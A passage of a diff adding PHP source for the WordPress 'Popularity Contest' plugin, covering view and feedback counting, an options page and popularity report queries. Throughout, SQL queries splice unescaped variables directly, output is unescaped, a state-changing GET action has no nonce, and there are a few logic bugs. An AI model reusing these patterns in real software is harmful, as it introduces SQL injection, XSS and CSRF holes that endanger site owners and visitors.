+			WHERE comment_post_ID = '$post_id'
+			AND comment_type = 'trackback'
+			AND comment_approved = '1'
+		"));
+		if ($count > 0) {
+			$result = $wpdb->query("
+				UPDATE $wpdb->ak_popularity
+				SET trackbacks = trackbacks + $count
+				, total = total + ".($this->trackback_value * $count)."
+				WHERE post_id = '$post_id'
+			");
+			if (!$result) {
+				return false;
+			}
+		}
+
+// grab existing pingbacks
+		$count = intval($wpdb->get_var("
+			SELECT COUNT(*)
+			FROM $wpdb->comments
+			WHERE comment_post_ID = '$post_id'
+			AND comment_type = 'pingback'
+			AND comment_approved = '1'
+		"));
+		if ($count > 0) {
+			$result = $wpdb->query("
+				UPDATE $wpdb->ak_popularity
+				SET pingbacks = pingbacks + $count
+				, total = total + ".($this->pingback_value * $count)."
+				WHERE post_id = '$post_id'
+			");
+			if (!$result) {
+				return false;
+			}
+		}
+	}
+	
+	function record_view($api = false, $ids = false, $type = false) {
+		if ($this->logged > 0 || ($this->ignore_authors && current_user_can('publish_posts'))) {
+			return true;
+		}
+		
+		global $wpdb;
+		
+		if ($api == false) {
+			global $posts;
+		
+			if (!isset($posts) || !is_array($posts) || count($posts) == 0 || is_admin()) {
+				return;
+			}
+			
+			$ids = array();
+			$ak_posts = $posts;
+			foreach ($ak_posts as $post) {
+				$ids[] = $post->ID;
+			}
+		}
+		if (!$ids || !count($ids)) {
+			return;
+		}
+		if (($api && $type == 'feed') || is_feed()) {
+			$result = $wpdb->query("
+				UPDATE $wpdb->ak_popularity
+				SET feed_views = feed_views + 1
+				, total = total + $this->feed_value
+				WHERE post_id IN (".implode(',', $ids).")
+			");
+			if (!$result) {
+				return false;
+			}
+		}
+		else if (($api && $type == 'archive') || (is_archive() && !is_category())) {
+			$result = $wpdb->query("
+				UPDATE $wpdb->ak_popularity
+				SET archive_views = archive_views + 1
+				, total = total + $this->archive_value
+				WHERE post_id IN (".implode(',', $ids).")
+			");
+			if (!$result) {
+				return false;
+			}
+		}
+		else if (($api && $type == 'category') || is_category()) {
+			$result = $wpdb->query("
+				UPDATE $wpdb->ak_popularity
+				SET category_views = category_views + 1
+				, total = total + $this->category_value
+				WHERE post_id IN (".implode(',', $ids).")
+			");
+			if (!$result) {
+				return false;
+			}
+		}
+		else if (($api && $type == 'tag') || is_tag()) {
+			$result = $wpdb->query("
+				UPDATE $wpdb->ak_popularity
+				SET tag_views = tag_views + 1
+				, total = total + $this->tag_views
+				WHERE post_id IN (".implode(',', $ids).")
+			");
+			if (!$result) {
+				return false;
+			}
+		}
+		else if (($api && in_array($type, array('single', 'page'))) || is_single() || is_singular() || is_page()) {
+			if (($api && $type == 'searcher') || akpc_is_searcher()) {
+				$result = $wpdb->query("
+					UPDATE $wpdb->ak_popularity
+					SET searcher_views = searcher_views + 1
+					, total = total + $this->searcher_value
+					WHERE post_id = '".$ids[0]."'
+				");
+				if (!$result) {
+					return false;
+				}
+			}
+			$result = $wpdb->query("
+				UPDATE $wpdb->ak_popularity
+				SET single_views = single_views + 1
+				, total = total + $this->single_value
+				WHERE post_id = '".$ids[0]."'
+			");
+			if (!$result) {
+				return false;
+			}
+		}
+		else {
+			$result = $wpdb->query("
+				UPDATE $wpdb->ak_popularity
+				SET home_views = home_views + 1
+				, total = total + $this->home_value
+				WHERE post_id IN (".implode(',', $ids).")
+			");
+			if (!$result) {
+				return false;
+			}
+		}
+		$this->logged++;
+		return true;
+	}
+	
+	function record_feedback($type, $action = '+', $comment_id = null) {
+		global $wpdb, $comment_post_ID;
+		if ($comment_id) {
+			$comment_post_ID = $comment_id;
+		}
+		switch ($type) {
+			case 'trackback':
+				$result = $wpdb->query("
+					UPDATE $wpdb->ak_popularity
+					SET trackbacks = trackbacks $action 1
+					, total = total $action $this->trackback_value
+					WHERE post_id = '$comment_post_ID'
+				");
+				if (!$result) {
+					return false;
+				}
+				break;
+			case 'pingback':
+				$result = $wpdb->query("
+					UPDATE $wpdb->ak_popularity
+					SET pingbacks = pingbacks $action 1
+					, total = total $action $this->pingback_value
+					WHERE post_id = '$comment_post_ID'
+				");
+				if (!$result) {
+					return false;
+				}
+				break;
+			default:
+				$result = $wpdb->query("
+					UPDATE $wpdb->ak_popularity
+					SET comments = comments $action 1
+					, total = total $action $this->comment_value
+					WHERE post_id = '$comment_post_ID'
+				");
+				if (!$result) {
+					return false;
+				}
+				break;
+		}
+		return true;
+	}
+	
+	function edit_feedback($comment_id, $action, $status = null) {
+		$comment = get_comment($comment_id);
+		switch ($action) {
+			case 'delete':
+				$this->record_feedback($comment->comment_type, '-', $comment_id);
+				break;
+			case 'status':
+				if ($status == 'spam') {
+					$this->record_feedback($comment->comment_type, '-', $comment_id);
+					return;
+				}
+				break;
+		}
+	}
+	
+	function recount_feedback() {
+		global $wpdb;
+		$post_ids = $wpdb->get_results("
+			SELECT ID
+			FROM $wpdb->posts
+			WHERE post_status = 'publish'
+			OR post_status = 'static'
+		");
+
+		if (count($post_ids)) {
+			$result = $wpdb->query("
+				UPDATE $wpdb->ak_popularity
+				SET comments = 0
+				, trackbacks = 0
+				, pingbacks = 0
+			");
+			foreach ($post_ids as $post_id) {
+				$this->populate_post_data($post_id);
+			}
+		}
+		$this->recalculate_popularity();
+
+		header('Location: '.get_bloginfo('wpurl').'/wp-admin/options-general.php?page='.basename(__FILE__).'&updated=true');
+		die();
+	}
+	
+	function options_form() {
+		if (!AKPC_CONFIG_FILE) { // don't show options update functions if we're running from a config file
+			$temp = new ak_popularity_contest;
+			print('<div class="wrap">');
+			$yes_no = array(
+				'show_pop',
+				'show_help',
+				'ignore_authors',
+			);
+			foreach ($yes_no as $key) {
+				$var = $key.'_options';
+				if ($this->$key == '0') {
+					$$var = '
+						<option value="1">'.__('Yes', 'popularity-contest').'</option>
+						<option value="0" selected="selected">'.__('No', 'popularity-contest').'</option>
+					';
+				}
+				else {
+					$$var = '
+						<option value="1" selected="selected">'.__('Yes', 'popularity-contest').'</option>
+						<option value="0">'.__('No', 'popularity-contest').'</option>
+					';
+				}
+			}
+
+			print('
+					<h2>'.__('Popularity Contest Options', 'popularity-contest').'</h2>
+					<form name="ak_popularity" action="'.get_bloginfo('wpurl').'/wp-admin/options-general.php" method="post">
+						<fieldset class="options">
+							<h3>'.__('Settings', 'popularity-contest').'</h3>
+							<p>
+								<label for="akpc_ignore_authors">'.__('Ignore views by site authors:', 'popularity-contest').'</label>
+								<select name="ignore_authors" id="akpc_ignore_authors">
+								'.$ignore_authors_options.'
+								</select>
+							</p>
+							<p>
+								<label for="akpc_show_pop">'.__('Show popularity rank for posts:', 'popularity-contest').'</label>
+								<select name="show_pop" id="akpc_show_pop">
+								'.$show_pop_options.'
+								</select>
+							</p>
+							<p>
+								<label for="akpc_show_help">'.__('Show the [?] help link:', 'popularity-contest').'</label>
+								<select name="show_help" id="akpc_show_help">
+								'.$show_help_options.'
+								</select>
+							</p>
+							<p>
+								<label>'.__('Search Engine Domains (space separated):', 'popularity-contest').'</label><br/>
+								<textarea name="searcher_names" id="searcher_names" rows="2" cols="50">'.htmlspecialchars($this->searcher_names).'</textarea>
+							</p>
+						</fieldset>
+						<fieldset class="options">
+							<h3>'.__('Popularity Values', 'popularity-contest').'</h3>
+							<p>'.__('Adjust the values below as you see fit. When you save the new options the <a href="index.php?page=popularity-contest.php"><strong>popularity rankings</strong></a> for your posts will be automatically updated to reflect the new values you have chosen.', 'popularity-contest').'</p>
+							<table width="100%" cellspacing="2" cellpadding="5" class="editform" id="akpc_options"> 
+								<tr valign="top"> 
+									<th width="33%" scope="row"><label for="single_value">'.__('Permalink Views:', 'popularity-contest').'</label></th> 
+									<td><input type="text" class="number" name="single_value" id="single_value" value="'.$this->single_value.'" /> '.__("(default: $temp->single_value)", 'popularity-contest').'</td> 
+								</tr>
+								<tr valign="top"> 
+									<th width="33%" scope="row"><label for="searcher_value">'.__('Permalink Views from Search Engines:', 'popularity-contest').'</label></th> 
+									<td><input type="text" class="number" name="searcher_value" id="searcher_value" value="'.$this->searcher_value.'" /> '.__("(default: $temp->searcher_value)", 'popularity-contest').'</td> 
+								</tr>
+								<tr valign="top"> 
+									<th width="33%" scope="row"><label for="home_value">'.__('Home Views:', 'popularity-contest').'</label></th> 
+									<td><input type="text" class="number" name="home_value" id="home_value" value="'.$this->home_value.'" /> '.__("(default: $temp->home_value)", 'popularity-contest').'</td> 
+								</tr>
+								<tr valign="top"> 
+									<th width="33%" scope="row"><label for="archive_value">'.__('Archive Views:', 'popularity-contest').'</label></th> 
+									<td><input type="text" class="number" name="archive_value" id="archive_value" value="'.$this->archive_value.'" /> '.__("(default: $temp->archive_value)", 'popularity-contest').'</td> 
+								</tr>
+								<tr valign="top"> 
+									<th width="33%" scope="row"><label for="category_value">'.__('Category Views:', 'popularity-contest').'</label></th> 
+									<td><input type="text" class="number" name="category_value" id="category_value" value="'.$this->category_value.'" /> '.__("(default: $temp->category_value)", 'popularity-contest').'</td> 
+								</tr>
+								<tr valign="top"> 
+									<th width="33%" scope="row"><label for="tag_value">'.__('Tag Views:', 'popularity-contest').'</label></th> 
+									<td><input type="text" class="number" name="tag_value" id="tag_value" value="'.$this->tag_value.'" /> '.__("(default: $temp->tag_value)", 'popularity-contest').'</td> 
+								</tr>
+								<tr valign="top"> 
+									<th width="33%" scope="row"><label for="feed_value">'.__('Feed Views (full content only):', 'popularity-contest').'</label></th> 
+									<td><input type="text" class="number" name="feed_value" id="feed_value" value="'.$this->feed_value.'" /> '.__("(default: $temp->feed_value)", 'popularity-contest').'</td> 
+								</tr>
+								<tr valign="top"> 
+									<th width="33%" scope="row"><label for="comment_value">'.__('Comments:', 'popularity-contest').'</label></th> 
+									<td><input type="text" class="number" name="comment_value" id="comment_value" value="'.$this->comment_value.'" /> '.__("(default: $temp->comment_value)", 'popularity-contest').'</td> 
+								</tr>
+								<tr valign="top"> 
+									<th width="33%" scope="row"><label for="pingback_value">'.__('Pingbacks:', 'popularity-contest').'</label></th> 
+									<td><input type="text" class="number" name="pingback_value" id="pingback_value" value="'.$this->pingback_value.'" /> '.__("(default: $temp->pingback_value)", 'popularity-contest').'</td> 
+								</tr>
+								<tr valign="top"> 
+									<th width="33%" scope="row"><label for="trackback_value">'.__('Trackbacks:', 'popularity-contest').'</label></th> 
+									<td><input type="text" class="number" name="trackback_value" id="trackback_value" value="'.$this->trackback_value.'" /> '.__("(default: $temp->trackback_value)", 'popularity-contest').'</td> 
+								</tr>
+							</table>
+							<h3>'.__('Example', 'popularity-contest').'</h3>
+							<ul>
+								<li>'.__('Post #1 receives 11 Home Page Views (11 * 2 = 22), 6 Permalink Views (6 * 10 = 60) and 3 Comments (3 * 20 = 60) for a total value of: <strong>142</strong>', 'popularity-contest').'</li>
+								<li>'.__('Post #2 receives 7 Home Page Views (7 * 2 = 14), 10 Permalink Views (10 * 10 = 100), 7 Comments (7 * 20 = 140) and 3 Trackbacks (3 * 80 = 240) for a total value of: <strong>494</strong>', 'popularity-contest').'</li>
+							</ul>
+							<hr style="margin: 20px 40px; border: 0; border-top: 1px solid #ccc;" />
+							<input type="hidden" name="ak_action" value="update_popularity_values" />
+						</fieldset>
+						<p class="submit">
+							<input type="submit" name="submit" value="'.__('Save Popularity Contest Options', 'popularity-contest').'" class="button-primary" />
+							<input type="button" name="recount" value="'.__('Reset Comments/Trackback/Pingback Counts', 'popularity-contest').'" onclick="location.href=\''.get_bloginfo('wpurl').'/wp-admin/options-general.php?ak_action=recount_feedback\';" />
+						</p>
+					</form>
+					');
+		}
+		print('
+				<div id="akpc_template_tags">
+					<h2>'.__('Popularity Contest Template Tags', 'popularity-contest').'</h2>
+					<dl>
+						<dt><code>akpc_the_popularity()</code></dt>
+						<dd>
+							<p>'.__('Put this tag within <a href="http://codex.wordpress.org/The_Loop">The Loop</a> to show the popularity of the post being shown. The popularity is shown as a percentage of your most popular post. For example, if the popularity total for Post #1 is 500 and your popular post has a total of 1000, this tag will show a value of <strong>50%</strong>.', 'popularity-contest').'</p>
+							<p>Example:</p> 
+							<ul>
+								<li><code>&lt;?php if (function_exists(\'akpc_the_popularity\')) { akpc_the_popularity(); } ?></code></li>
+							</ul>
+						</dd>
+						<dt><code>akpc_most_popular($limit = 10, $before = &lt;li>, $after = &lt;/li>)</code></dt>
+						<dd>
+							<p>'.__('Put this tag outside of <a href="http://codex.wordpress.org/The_Loop">The Loop</a> (perhaps in your sidebar?) to show a list (like the archives/categories/links list) of your most popular posts. All arguments are optional, the defaults are included in the example above.', 'popularity-contest').'</p>
+							<p>Examples:</p> 
+							<ul>
+								<li><code>&lt;?php if (function_exists(\'akpc_most_popular\')) { akpc_most_popular(); } ?></code></li>
+								<li><code>
+									&lt;?php if (function_exists(\'akpc_most_popular\')) { ?><br />
+									&lt;li>&lt;h2>Most Popular Posts&lt;/h2><br />
+									&nbsp;&nbsp;	&lt;ul><br />
+									&nbsp;&nbsp;	&lt;?php akpc_most_popular(); ?><br />
+									&nbsp;&nbsp;	&lt;/ul><br />
+									&lt;/li><br />
+									&lt;?php } ?>
+								</code></li>
+							</ul>
+						</dd>
+						<dt><code>akpc_most_popular_in_cat($limit = 10, $before = &lt;li>, $after = &lt;/li>, $cat_ID = current category)</code></dt>
+						<dd>
+							<p>'.__('Put this tag outside of <a href="http://codex.wordpress.org/The_Loop">The Loop</a> (perhaps in your sidebar?) to show a list of the most popular posts in a specific category. You may want to use this on category archive pages. All arguments are', 'popularity-contest').'</p>
+							<p>Examples:</p> 
+							<ul>
+								<li><code>&lt;?php if (function_exists(\'akpc_most_popular_in_cat\')) { akpc_most_popular_in_cat(); } ?></code></li>
+								<li><code>&lt;php if (is_category() && function_exists(\'akpc_most_popular_in_cat\')) { akpc_most_popular_in_cat(); } ?></code></li>
+								<li><code>
+									&lt;?php if (is_category() && function_exists(\'akpc_most_popular_in_cat\')) { ?><br />
+									&lt;li>&lt;h2>Most Popular in \'&lt;?php single_cat_title(); ?>\'&lt;/h2><br />
+									&nbsp;&nbsp;	&lt;ul><br />
+									&nbsp;&nbsp;	&lt;?php akpc_most_popular_in_cat(); ?><br />
+									&nbsp;&nbsp;	&lt;/ul><br />
+									&lt;/li><br />
+									&lt;?php } ?>
+								</code></li>
+							</ul>
+						</dd>
+						<dt><code>akpc_most_popular_in_month($limit, $before, $after, $m = YYYYMM)</code></dt>
+						<dd>
+							<p>'.__('Put this tag outside of <a href="http://codex.wordpress.org/The_Loop">The Loop</a> (perhaps in your sidebar?) to show a list of the most popular posts in a specific month. You may want to use this on monthly archive pages.', 'popularity-contest').'</p>
+							<p>Examples:</p> 
+							<ul>
+								<li><code>&lt;?php if (function_exists(\'akpc_most_popular_in_month\')) { akpc_most_popular_in_month(); } ?></code></li>
+								<li><code>&lt;php if (is_archive() && is_month() && function_exists(\'akpc_most_popular_in_month\')) { akpc_most_popular_in_month(); } ?></code></li>
+								<li><code>
+									&lt;?php if (is_archive() && is_month() && function_exists(\'akpc_most_popular_in_month\')) { ?><br />
+									&lt;li>&lt;h2>Most Popular in &lt;?php the_time(\'F, Y\'); ?>&lt;/h2><br />
+									&nbsp;&nbsp;	&lt;ul><br />
+									&nbsp;&nbsp;	&lt;?php akpc_most_popular_in_month(); ?><br />
+									&nbsp;&nbsp;	&lt;/ul><br />
+									&lt;/li><br />
+									&lt;?php } ?>
+								</code></li>
+							</ul>
+						</dd>
+						<dt><code>akpc_most_popular_in_last_days($limit, $before, $after, $days = 45)</code></dt>
+						<dd>
+							<p>'.__('Put this tag outside of <a href="http://codex.wordpress.org/The_Loop">The Loop</a> (perhaps in your sidebar?) to show a list of the most popular posts in the last (your chosen number, default = 45) days.', 'popularity-contest').'</p>
+							<p>Examples:</p> 
+							<ul>
+
+								<li><code>&lt;?php if (function_exists(\'akpc_most_popular_in_last_days\')) { akpc_most_popular_in_last_days(); } ?></code></li>
+								<li><code>
+									&lt;?php if (function_exists(\'akpc_most_popular_in_last_days\')) { ?><br />
+									&lt;li>&lt;h2>Recent Popular Posts&lt;/h2><br />
+									&nbsp;&nbsp;	&lt;ul><br />
+									&nbsp;&nbsp;	&lt;?php akpc_most_popular_in_last_days(); ?><br />
+									&nbsp;&nbsp;	&lt;/ul><br />
+									&lt;/li><br />
+									&lt;?php } ?>
+								</code></li>
+							</ul>
+						</dd>
+					</dl>
+				</div>
+			</div>
+		');
+	}
+
+	function get_popular_posts($type = 'popular', $limit, $exclude_pages = 'yes', $custom = array()) {
+		global $wpdb;
+		$items = array();
+		switch($type) {
+			case 'category':
+				$temp = "
+					SELECT p.ID AS ID, p.post_title AS post_title, pop.total AS total
+					FROM $wpdb->posts p
+					LEFT JOIN $wpdb->ak_popularity pop
+					ON p.ID = pop.post_id
+					LEFT JOIN $wpdb->term_relationships tr
+					ON p.ID = tr.object_id
+					LEFT JOIN $wpdb->term_taxonomy tt
+					ON tt.term_taxonomy_id = tr.term_taxonomy_id
+					WHERE tt.term_id = ".$custom['cat_ID']."
+					AND p.post_status = 'publish'
+				";
+				if ($exclude_pages == 'yes') { $temp .= " AND p.post_type != 'page' "; }
+				$temp .= "
+					ORDER BY pop.total DESC
+					LIMIT $limit
+				";
+				$items = $wpdb->get_results($temp);
+				break;
+			case 'tag':
+				$temp = "
+					SELECT p.ID AS ID, p.post_title AS post_title, pop.total AS total
+					FROM $wpdb->posts p
+					LEFT JOIN $wpdb->ak_popularity pop
+					ON p.ID = pop.post_id
+					LEFT JOIN $wpdb->term_relationships tr
+					ON p.ID = tr.object_id
+					LEFT JOIN $wpdb->term_taxonomy tt
+					ON tt.term_taxonomy_id = tr.term_taxonomy_id
+					WHERE tt.term_id = ".$custom['term_id']."
+					AND p.post_status = 'publish'
+				";
+				if ($exclude_pages == 'yes') { $temp .= " AND p.post_type != 'page' "; }
+				$temp .= "
+					ORDER BY pop.total DESC
+					LIMIT $limit
+				";
+				$items = $wpdb->get_results($temp);
+				break;
+			case 'category_popularity':
+				$temp = "
+					SELECT DISTINCT name, AVG(pop.total) AS avg
+					FROM $wpdb->posts p
+					LEFT JOIN $wpdb->ak_popularity pop
+					ON p.ID = pop.post_id
+					LEFT JOIN $wpdb->term_relationships tr
+					ON p.ID = tr.object_id
+					LEFT JOIN $wpdb->term_taxonomy tt
+					ON tr.term_taxonomy_id = tt.term_taxonomy_id
+					LEFT JOIN $wpdb->terms t
+					ON tt.term_id = t.term_id
+					WHERE tt.taxonomy = 'category'
+				";
+				if ($exclude_pages == 'yes') { $temp .= " AND p.post_type != 'page' "; }
+				$temp .= "
+					GROUP BY name
+					ORDER BY avg DESC
+					LIMIT 50
+				";
+				$items = $wpdb->get_results($temp);
+				break;
+			case 'tag_popularity':
+				$temp = "
+					SELECT DISTINCT name, AVG(pop.total) AS avg
+					FROM $wpdb->posts p
+					LEFT JOIN $wpdb->ak_popularity pop
+					ON p.ID = pop.post_id
+					LEFT JOIN $wpdb->term_relationships tr
+					ON p.ID = tr.object_id
+					LEFT JOIN $wpdb->term_taxonomy tt
+					ON tr.term_taxonomy_id = tt.term_taxonomy_id
+					LEFT JOIN $wpdb->terms t
+					ON tt.term_id = t.term_id
+					WHERE tt.taxonomy = 'post_tag'
+				";
+				if ($exclude_pages == 'yes') { $temp .= " AND p.post_type != 'page' "; }
+				$temp .= "
+					GROUP BY name
+					ORDER BY avg DESC
+					LIMIT 50
+				";
+				$items = $wpdb->get_results($temp);
+				break;
+			case 'year':
+				$temp = "
+					SELECT MONTH(p.post_date) AS month, AVG(pop.total) AS avg
+					FROM $wpdb->posts p
+					LEFT JOIN $wpdb->ak_popularity pop
+					ON p.ID = pop.post_id
+					WHERE YEAR(p.post_date) = '".$custom['y']."'
+					AND p.post_status = 'publish'
+				";
+				if ($exclude_pages == 'yes') { $temp .= " AND p.post_type != 'page' "; }
+				$temp .= "
+					GROUP BY month
+					ORDER BY avg DESC
+				";
+				$items = $wpdb->get_results($temp);
+				break;
+			case 'views_wo_feedback':
+				$temp = "
+					SELECT p.ID AS ID, p.post_title AS post_title, pop.total AS total
+					FROM $wpdb->posts p
+					LEFT JOIN $wpdb->ak_popularity pop
+					ON p.ID = pop.post_id
+					WHERE pop.comments = 0
+					AND pop.pingbacks = 0
+					AND pop.trackbacks = 0
+					AND p.post_status = 'publish'
+				";
+				if ($exclude_pages == 'yes') { $temp .= " AND p.post_type != 'page' "; }
+				$temp .= "
+					ORDER BY pop.total DESC
+					LIMIT $limit
+				";
+				$items = $wpdb->get_results($temp);
+				break;
+			case 'most_feedback':
+				// in progress, should probably be combination of comment, pingback & trackback scores
+				$temp = "
+					SELECT p.ID, p.post_title, p.comment_count 
+					FROM $wpdb->posts p 
+					LEFT JOIN $wpdb->ak_popularity pop ON p.ID = pop.post_id 
+					WHERE p.post_status = 'publish'
+					AND p.comment_count > 0";
+				if ($exclude_pages == 'yes') { $temp .= " AND p.post_type != 'page' "; }
+				$temp = "
+					ORDER BY p.comment_count DESC 
+					LIMIT $limit;
+				";
+				$items = $wpdb->get_results($temp);
+				break;
+			case 'date':
+				$temp = "
+					SELECT p.ID AS ID, p.post_title AS post_title, pop.total AS total
+					FROM $wpdb->posts p
+					LEFT JOIN $wpdb->ak_popularity pop
+					ON p.ID = pop.post_id
+					WHERE DATE_ADD(p.post_date, INTERVAL ".intval($custom['days'])." DAY) {$custom['compare']} DATE_ADD(NOW(), INTERVAL ".intval($custom['offset'])." DAY)
+					AND p.post_status = 'publish'
+				";
+				if ($exclude_pages == 'yes') { $temp .= " AND p.post_type != 'page' "; }
+				$temp .= "
+					ORDER BY pop.total DESC
+					LIMIT $limit
+				";
+				$items = $wpdb->get_results($temp);
+				break;
+			case 'most':
+				$temp = "
+					SELECT p.ID AS ID, p.post_title AS post_title, pop.{$custom['column']} AS {$custom['column']}
+					FROM $wpdb->posts p
+					LEFT JOIN $wpdb->ak_popularity pop
+					ON p.ID = pop.post_id
+					WHERE p.post_status = 'publish'
+				";
+				if ($exclude_pages == 'yes') { $temp .= " AND p.post_type != 'page' "; }
+				$temp .= "
+					ORDER BY pop.{$custom['column']} DESC
+					LIMIT $limit
+				";
+				$items = $wpdb->get_results($temp);
+				break;
+			case 'popular':
+				$temp = "
+					SELECT p.ID AS ID, p.post_title AS post_title, pop.{$custom['column']} AS {$custom['column']}
+					FROM $wpdb->posts p
+					LEFT JOIN $wpdb->ak_popularity pop
+					ON p.ID = pop.post_id
+					WHERE p.post_status = 'publish'
+				";
+				if ($exclude_pages == 'yes') { $temp .= " AND p.post_type != 'page' "; }
+				$temp .= "
+					ORDER BY pop.{$custom['column']} DESC
+					LIMIT $limit
+				";
+				$items = $wpdb->get_results($temp);
+				break;
+			case 'popular_pages':
+				$temp = "
+					SELECT p.ID AS ID, p.post_title AS post_title, pop.single_views AS single_views
+					FROM $wpdb->posts p
+					LEFT JOIN $wpdb->ak_popularity pop
+					ON p.ID = pop.post_id
+					WHERE p.post_status = 'publish'
+					AND p.post_type = 'page' 
+					ORDER BY pop.single_views DESC
+					LIMIT $limit
+				";
+				$items = $wpdb->get_results($temp);
+				break;
+		}
+		
+		do_action('akpc_get_popular_posts',$items);
+		
+		if (count($items)) {
+			return $items;
+		}
+		return false;
+	}
+	
+	/**
+	 * Show a popularity report
+	 * @var string $type - type of report to show
+	 * @var int $limit - num posts to show
+	 * @var array $custom - pre-defined list of posts to show
+	 * @var bool $hide_title - wether to echo the list title
+	 */
+	function show_report($type = 'popular', $limit = 10, $exclude_pages = 'yes', $custom = array(), $before_title = '<h3>', $after_title = '</h3>', $hide_title = false) {
+		global $wpdb;
+
+		if (count($custom) > 0 && 1 == 0) {
+		}
+		else {
+			$query = '';
+			$column = '';
+			$list = '';
+			$items = array();
+			$rel = '';
+			switch ($type) {
+				case 'category':
+					$title = $custom['cat_name'];
+					$items = $this->get_popular_posts($type, $limit, $exclude_pages, $custom);
+					$list = $this->report_list_items($items, $before = '<li>', $after = '</li>');
+					break;
+				case 'tag':
+					$title = $custom['term_name'];
+					$rel = sanitize_title($title);
+					$items = $this->get_popular_posts($type, $limit, $exclude_pages, $custom);
+					$list = $this->report_list_items($items, $before = '<li>', $after = '</li>');
+					break;
+				case 'pop_by_category':
+					$cats = get_categories();
+					if (count($cats)) {
+						foreach ($cats as $cat) {
+							$this->show_report('category', 10, $exclude_pages, array('cat_ID' => $cat->term_id, 'cat_name' => $cat->name));
+						}
+					}
+					break;
+				case 'pop_by_tag':
+					$tags = maybe_unserialize(get_option('akpc_tag_reports'));
+					if (is_array($tags) && count($tags)) {
+						foreach ($tags as $tag) {
+							$term = get_term_by('slug', $tag, 'post_tag');
+							$this->show_report('tag', 10, $exclude_pages, array('term_id' => $term->term_id, 'term_name' => $term->name));
+						}
+					}
+					break;
+				case 'category_popularity':
+					$title = __('Average by Category', 'popularity-contest');
+					$items = $this->get_popular_posts($type, $limit, $exclude_pages);
+					if (is_array($items) && count($items)) {
+						foreach ($items as $item) {
+							$list .= '	<li>
+									<span>'.$this->get_rank(ceil($item->avg)).'</span>
+									'.$item->name.'
+								</li>'."\n";
+						}
+					}
+					break;
+				case 'tag_popularity':
+					$title = __('Average by Tag', 'popularity-contest');
+					$items = $this->get_popular_posts($type, $limit, $exclude_pages);
+					if (is_array($items) && count($items)) {
+						foreach ($items as $item) {
+							$list .= '	<li>
+									<span>'.$this->get_rank(ceil($item->avg)).'</span>
+									'.$item->name.'
+								</li>'."\n";
+						}
+					}
+					break;
+				case 'year':
+					global $month;
+					$title = $custom['y'].__(' Average by Month', 'popularity-contest');
+					$items = $this->get_popular_posts($type,$limit, $exclude_pages,$custom);
+					if (is_array($items) && count($items)) {
+						foreach ($items as $item) {
+							$list .= '	<li>
+									<span>'.$this->get_rank(ceil($item->avg)).'</span>
+									'.$month[str_pad($item->month, 2, '0', STR_PAD_LEFT)].'
+								</li>'."\n";
+						}
+					}
+					break;
+				case 'month_popularity':
+					$years = array();
+					$years = $wpdb->get_results("
+						SELECT DISTINCT YEAR(post_date) AS year
+						FROM $wpdb->posts
+						ORDER BY year DESC
+					");
+					$i = 2;
+					if (count($years) > 0) {
+						foreach ($years as $year) {
+							$this->show_report('year', 10, $exclude_pages, array('y' => $year->year));
+							if ($i == 3) {
+								print('
+										<div class="clear"></div>
+								');
+								$i = 0;
+							}
+							$i++;
+						}
+					}
+					break;
+				case 'views_wo_feedback':
+					$title = __('Views w/o Feedback', 'popularity-contest');
+					$items = $this->get_popular_posts($type, $limit, $exclude_pages);
+					$list = $this->report_list_items($items, $before = '<li>', $after = '</li>');
+					break;
+				case 'most_feedback':
+					$query = 'sum';
+					$column = 'pop.comments + pop.pingbacks + pop.trackbacks AS feedback';
+					$title = __('Feedback', 'popularity-contest');
+					break;
+				case '365_plus':
+					$offset = -365;
+					$compare = '<';
+					$title = __('Older Than 1 Year', 'popularity-contest');
+					$items = $this->get_popular_posts('date', $limit, $exclude_pages, array('days' => $days, 'offset' => $offset, 'compare' => $compare));
+					$list = $this->report_list_items($items, $before = '<li>', $after = '</li>');
+					break;
+				case 'last_30':
+				case 'last_60':
+				case 'last_90':
+				case 'last_365':
+				case 'last_n':
+					$compare = '>';
+					$offset = $days = '0';
+					switch(str_replace('last_','',$type)) {
+						case '30':
+							$days = 30;
+							$title = __('Last 30 Days', 'popularity-contest');
+							break;
+						case '60':
+							$days = 60;
+							$title = __('Last 60 Days', 'popularity-contest');
+							break;
+						case '90':
+							$days = 90;
+							$title = __('Last 90 Days', 'popularity-contest');
+							break;
+						case '365':
+							$days = 365;
+							$title = __('Last Year', 'popularity-contest');
+							break;
+						case 'n':
+							$days = $custom['days'];
+							if ($days == 1) {
+								$title = __('Last Day', 'popularity-contest');
+							}
+							else {
+								$title = sprintf(__('Last %s Days', 'popularity-contest'), $days);
+							}
+							break;
+					}
+					$items = $this->get_popular_posts('date', $limit, $exclude_pages, array('days' => $days, 'offset' => $offset, 'compare' => $compare));
+					$list = $this->report_list_items($items, $before = '<li>', $after = '</li>');
+					break;
+				case 'most_feed_views':
+				case 'most_home_views':
+				case 'most_archive_views':
+				case 'most_category_views':
+				case 'most_tag_views':
+				case 'most_single_views':
+				case 'most_searcher_views':
+				case 'most_comments':
+				case 'most_pingbacks':
+				case 'most_trackbacks':
+					switch($type) {
+						case 'most_feed_views':
+							$query = 'most';
+							$column = 'feed_views';
+							$title = __('Feed Views', 'popularity-contest');
+							break;
+						case 'most_home_views':
+							$query = 'most';
+							$column = 'home_views';
+							$title = __('Home Page Views', 'popularity-contest');
+							break;
+						case 'most_archive_views':
+							$query = 'most';
+							$column = 'archive_views';
+							$title = __('Archive Views', 'popularity-contest');
+							break;
+						case 'most_category_views':
+							$query = 'most';
+							$column = 'category_views';
+							$title = __('Category Views', 'popularity-contest');
+							break;
+						case 'most_tag_views':
+							$query = 'most';
+							$column = 'tag_views';
+							$title = __('Tag Views', 'popularity-contest');
+							break;
+						case 'most_single_views':
+							$query = 'most';
+							$column = 'single_views';
+							$title = __('Single Post Views', 'popularity-contest');
+							break;
+						case 'most_searcher_views':
+							$query = 'most';
+							$column = 'searcher_views';
+							$title = __('Search Engine Traffic', 'popularity-contest');
+							break;
+						case 'most_comments':
+							$query = 'most';
+							$column = 'comments';
+							$title = __('Comments', 'popularity-contest');
+							break;
+						case 'most_pingbacks':
+							$query = 'most';
+							$column = 'pingbacks';
+							$title = __('Pingbacks', 'popularity-contest');
+							break;
+						case 'most_trackbacks':
+							$query = 'most';
+							$column = 'trackbacks';
+							$title = __('Trackbacks', 'popularity-contest');
+							break;
+					}
+					$items = $this->get_popular_posts('most', $limit, $exclude_pages, array('column' => $column));
+					if (is_array($items) && count($items)) {
+						foreach ($items as $item) {
+							$list .= '	<li>
+									<span>'.$item->$column.'</span>
+									<a href="'.get_permalink($item->ID).'">'.$item->post_title.'</a>
+								</li>'."\n";
+						}
+					}
+					else {
